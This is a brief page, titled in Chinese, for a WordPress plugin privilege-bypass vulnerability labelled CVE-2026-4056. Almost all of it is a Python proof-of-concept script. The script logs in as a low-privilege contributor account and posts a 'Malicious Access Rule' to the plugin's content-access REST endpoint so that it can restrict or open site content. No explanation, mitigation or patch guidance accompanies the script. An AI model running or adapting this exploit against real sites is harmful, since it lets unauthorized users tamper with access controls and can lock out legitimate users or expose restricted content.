CVE-2026-4056 WordPress插件权限绕过漏洞

import requests # Target configuration target_url = "http://example.com/wp-json/user-registration/v1/content-access-rules" username = "contributor_user" password = "password123" # Create a session to simulate the authenticated user session = requests.Session() # Perform login to get authentication cookies login_payload = { "log": username, "pwd": password, "wp-submit": "Log In", "redirect_to": "http://example.com/wp-admin/", "testcookie": "1" } session.post("http://example.com/wp-login.php", data=login_payload) # Payload to create a malicious content access rule # This attempts to open restricted content to everyone or block legitimate users exploit_payload = { "title": "Malicious Access Rule", "content_access_type": "restrict", # or 'unrestrict' "selected_roles": ["subscriber"], # Modify who can access "selected_content_type": "all" } # Send the exploit request response = session.post(target_url, json=exploit_payload) # Check the result if response.status_code == 200 or response.status_code == 201: print("[+] Exploit successful! Access rule modified.") print("[+] Response:", response.text) else: print("[-] Exploit failed.") print("[-] Status Code:", response.status_code)